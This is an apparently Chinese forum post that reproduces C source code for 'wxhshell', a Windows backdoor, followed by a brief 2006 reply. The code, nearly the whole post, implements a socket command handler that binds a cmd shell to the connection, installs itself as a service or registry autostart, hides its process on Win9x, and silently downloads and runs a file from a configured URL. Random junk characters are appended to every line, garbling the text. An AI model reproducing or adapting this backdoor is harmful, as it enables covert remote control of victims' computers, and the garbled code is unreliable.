    switch(cmd[0]) { R_9 o!s TZ  
  =SL^>HS.fo  
  // 帮助 S| "TP\o  
  case '?': { JilKZQmk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R25-/6_V>  
    break; GDmv0V$6  
  } ]gHLcr3  
  // 安装  h.D^1  
  case 'i': { DCK_F8  
    if(Install())  0/*X=5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q06@SD$   
    else 4%>+Wh[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 43F^J%G  
    break; :P"9;$FY  
    } :1NYpsd.i  
  // 卸载 DZ%8 |PmB  
  case 'r': { 5IO3 %p?  
    if(Uninstall()) mVHFT~x7}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Oh5Nm)  
    else _]_LF[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a^x  0 l  
    break; ja:\W\xhJ  
    } ME,duY/>Q  
  // 显示 wxhshell 所在路径 v'$ykZ!Z  
  case 'p': { uAQg"j  
    char svExeFile[MAX_PATH]; 3m~U(yho  
    strcpy(svExeFile,"\n\r"); P8u"T!G  
      strcat(svExeFile,ExeFile); 0*{@E%9  
        send(wsh,svExeFile,strlen(svExeFile),0); H<{*ub4'L*  
    break; @@; 1%z  
    } S~} +ypV  
  // 重启 xNx`J@xt$  
  case 'b': { qWkx:-g]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W -3w7^  
    if(Boot(REBOOT)) o=@ UXi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hj1k-Bs&'w  
    else { DSTx#*  
    closesocket(wsh); !Am =v=>  
    ExitThread(0); nT)~w s  
    } w[|y0jtw  
    break; r*>QT:sB  
    } iAg}pwU  
  // 关机 NrW[Q 3E$  
  case 'd': { =$[W,+X6f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cUYX1a)8  
    if(Boot(SHUTDOWN)) ?9CIWpGjU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mc.^s  
    else { [!5l0{0  
    closesocket(wsh); z{AM2Z  
    ExitThread(0); "^!j5fZ  
    } % ghJ*iHR  
    break; td%Y4-+-  
    } x[Hhj'  
  // 获取shell ;Xz(B4N~o  
  case 's': { aTi0bQW{  
    CmdShell(wsh); qP@L(_=g  
    closesocket(wsh); ~y`Pwj  
    ExitThread(0);  -\5[Nq{N  
    break; %OTQRe:  
  } BR%{bY^ 5p  
  // 退出 0VG^GKmx  
  case 'x': { &#$2;-q8+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zCyR<as7  
    CloseIt(wsh); xMLrLXy  
    break; bW} b<(y  
    } ya;@<b  
  // 离开 "hJ7 Vv_  
  case 'q': { {P,>Q4N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aS2a_!f  
    closesocket(wsh); 8U8P g2  
    WSACleanup(); _3*: y/M_  
    exit(1); e_tZja2s  
    break; iz,]%<_PE  
        } 8a_ UxB  
  } c,+iU R<  
  } x4/T?4k  
USH@:c#t  
  // 提示信息 /YS@[\j4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jx)~kK  
} $gXkx D  
  } ?=TL2"L  
+!D=SnBGs  
  return; tuX =o  
} @#'yPV1  
z&\Il#'\m+  
// shell模块句柄 uv?8V@x2  
int CmdShell(SOCKET sock) YWybPD4\(  
{  >cC Gx  
STARTUPINFO si; 721{Ga4~S  
ZeroMemory(&si,sizeof(si)); (K!M*d+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v#{G8'+%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )*"T  
PROCESS_INFORMATION ProcessInfo; mrw]yu;2<n  
char cmdline[]="cmd"; 8') .o hD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); };4pZceV  
  return 0; ~5x4?2  
} B4PW4>GF  
g/fp45s  
// 自身启动模式 "FD<^  
int StartFromService(void) r_{)?B  
{ WK/b=p|#o  
typedef struct 7*R{u*/e  
{ DKe6?PG  
  DWORD ExitStatus; aUsul'e;M  
  DWORD PebBaseAddress; TsoCW]h  
  DWORD AffinityMask; [i2A{(x  
  DWORD BasePriority; WV5r$   
  ULONG UniqueProcessId; |_xZ/DT  
  ULONG InheritedFromUniqueProcessId; ]b5%?^Z#  
}   PROCESS_BASIC_INFORMATION; m~A[V,os  
R (+h)#![  
PROCNTQSIP NtQueryInformationProcess; ~xsb5M5  
8#NIs@DJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b|\{ !N]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IBn'iE[>  
R!:eYoQ  
  HANDLE             hProcess; ]<&B BQ  
  PROCESS_BASIC_INFORMATION pbi; v9X7-GJ~  
`</=AY>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C}dKbs^g|  
  if(NULL == hInst ) return 0; _stI?fz*4k  
B]+7 JB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s8`}x_k=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lq78gOg{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fjb4BdZ P  
IN]`lJ  
  if (!NtQueryInformationProcess) return 0; (:</R$I  
Y3 Pz00x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :pL1F)-*  
  if(!hProcess) return 0; r_qncy,F  
^=4I|+P,6.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {ziYd;Ys1  
_RA{SO  
  CloseHandle(hProcess); j3sz*:  
>x|A7iWn{,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r_!{!i3B  
if(hProcess==NULL) return 0; LLXg  
Zpn*XG  
HMODULE hMod; Y&1!Z*OL;  
char procName[255]; @'k,\$/  
unsigned long cbNeeded; Q{ |+ 3!!'  
-$sl!%HO%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K#m\ qitb  
iMOPD}`IX  
  CloseHandle(hProcess); b n<I#ZH2  
xr7-[)3Q$  
if(strstr(procName,"services")) return 1; // 以服务启动 8M".o n  
ue^?/{OuT  
  return 0; // 注册表启动 |g: '')>[  
} 2yi*eR  
B J:E,P`_  
// 主模块 dd?x5|/#  
int StartWxhshell(LPSTR lpCmdLine) ArEH%e  
{ )sY$\^'WY  
  SOCKET wsl; di)noQXkB-  
BOOL val=TRUE; ;Wfv+]n9  
  int port=0; x0AqhT5}  
  struct sockaddr_in door; O|^6UH  
4X(1   
  if(wscfg.ws_autoins) Install(); "W,"qFx  
?h>%Ix  
port=atoi(lpCmdLine); .5Z,SGBf  
H$=h-  
if(port<=0) port=wscfg.ws_port; pDq^W @Rq  
b3y,4ke"  
  WSADATA data; Ca`/t8=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |2+F I<v4  
{=pP`HD0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z</XnN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N~Sue  
  door.sin_family = AF_INET; ~,`\D7Z3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ya*q;D  
  door.sin_port = htons(port); L&3Ar'  
!)51v {  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W~+!"^<n  
closesocket(wsl); g[D,\  
return 1; VQG  /g\  
} q6m87O9  
pO7{3%  
  if(listen(wsl,2) == INVALID_SOCKET) { 4/mj"PBKL  
closesocket(wsl); q)z1</B-  
return 1; t<EX#_i,  
} /FNj|7s  
  Wxhshell(wsl); C7fi1~  
  WSACleanup(); o<Rxt *B  
,Rr&.  
return 0; }ii]c Y  
&s6(3k  
} :+Z>nHe  
=Y=^]ayO/  
// 以NT服务方式启动 46.q a nh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I;|5C=!  
{ EiIFVP   
DWORD   status = 0; [&]YVn>kj  
  DWORD   specificError = 0xfffffff; {*5;:QnT  
7:R{~|R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /="D]K)%b8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^JF_;~C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; At^DY!3vx  
  serviceStatus.dwWin32ExitCode     = 0; NGb! 7Mu9  
  serviceStatus.dwServiceSpecificExitCode = 0; S#%JSQo:  
  serviceStatus.dwCheckPoint       = 0; pFv[z':&Q  
  serviceStatus.dwWaitHint       = 0; >/OXC+=^4  
_ /2 8Cw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i5~ /+~  
  if (hServiceStatusHandle==0) return; &oK/ ]lub  
R^Eu}?<f  
status = GetLastError(); +D{*L0$D"  
  if (status!=NO_ERROR) xz Gsfd  
{ "=Fn.r4I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U~zN*2-  
    serviceStatus.dwCheckPoint       = 0; [0,q7d?"  
    serviceStatus.dwWaitHint       = 0; t2-zJJf8  
    serviceStatus.dwWin32ExitCode     = status; Lh9>8@ jf  
    serviceStatus.dwServiceSpecificExitCode = specificError; (j"~]T!)1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y8(?:#ZC  
    return; ,ex(pmZ;  
  } 2zrWR%B  
VkP:%-*#v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X m:gD6;9  
  serviceStatus.dwCheckPoint       = 0; Iy1X nS*  
  serviceStatus.dwWaitHint       = 0; s%TO(vT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @*`UOgP7  
} z&HN>7  
Zn*CJNB  
// 处理NT服务事件,比如:启动、停止 ,aj+mlZd2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~PS2[5yo  
{ TXvt0&-  
switch(fdwControl) ^>R|R1&  
{ |~" A:gf  
case SERVICE_CONTROL_STOP: .1?i'8TF  
  serviceStatus.dwWin32ExitCode = 0; :z,vJ~PW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jv{"R!e"P  
  serviceStatus.dwCheckPoint   = 0; 0 f#a_  
  serviceStatus.dwWaitHint     = 0; <T2~xn  
  { R7;rBEt8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,;ruH^  
  } BO\`m%8md  
  return; Er+3S@sfq,  
case SERVICE_CONTROL_PAUSE: H/la'f#o%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O |I:[S},  
  break; d\<aJOi+-  
case SERVICE_CONTROL_CONTINUE: #/sE{jm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 17[t_T&Ak9  
  break; M0IqQM57N  
case SERVICE_CONTROL_INTERROGATE: >fzzrD}]  
  break; kFZu/HRI  
}; >zx50e)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u.K'"-xt4K  
} 'FA)LuAok  
. eag84_  
// 标准应用程序主函数 eRqexqO!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,["|wqM  
{ d~1"{WPSn  
_(s|Q  
// 获取操作系统版本 {4jSj0W  
OsIsNt=GetOsVer(); {c EK z\RX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wk <~Y 3u  
^VYZ %  
  // 从命令行安装 9C'+~<l  
  if(strpbrk(lpCmdLine,"iI")) Install(); r L|BkN  
Q\>SF  
  // 下载执行文件 cW|Zgz8vv  
if(wscfg.ws_downexe) { #Uk6Fmu ]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .+~kJ0~Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7)It1i-  
} &\D<n; 3  
Sw9mrhzJfe  
if(!OsIsNt) { 8P y_Y>  
// 如果时win9x,隐藏进程并且设置为注册表启动 DdZ_2B2  
HideProc(); }6{)Jv  
StartWxhshell(lpCmdLine); q>lkLHS  
} C]cT*B^  
else !rmo*-=^=  
  if(StartFromService()) T[9jTO?W2  
  // 以服务方式启动 XK9*,WA9r  
  StartServiceCtrlDispatcher(DispatchTable); R\=\6("  
else R#^pNJN  
  // 普通方式启动 $A0]v!P~i-  
  StartWxhshell(lpCmdLine); *wZV*)}  
-EIMh^  
return 0; ?@BaBU:o`F  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八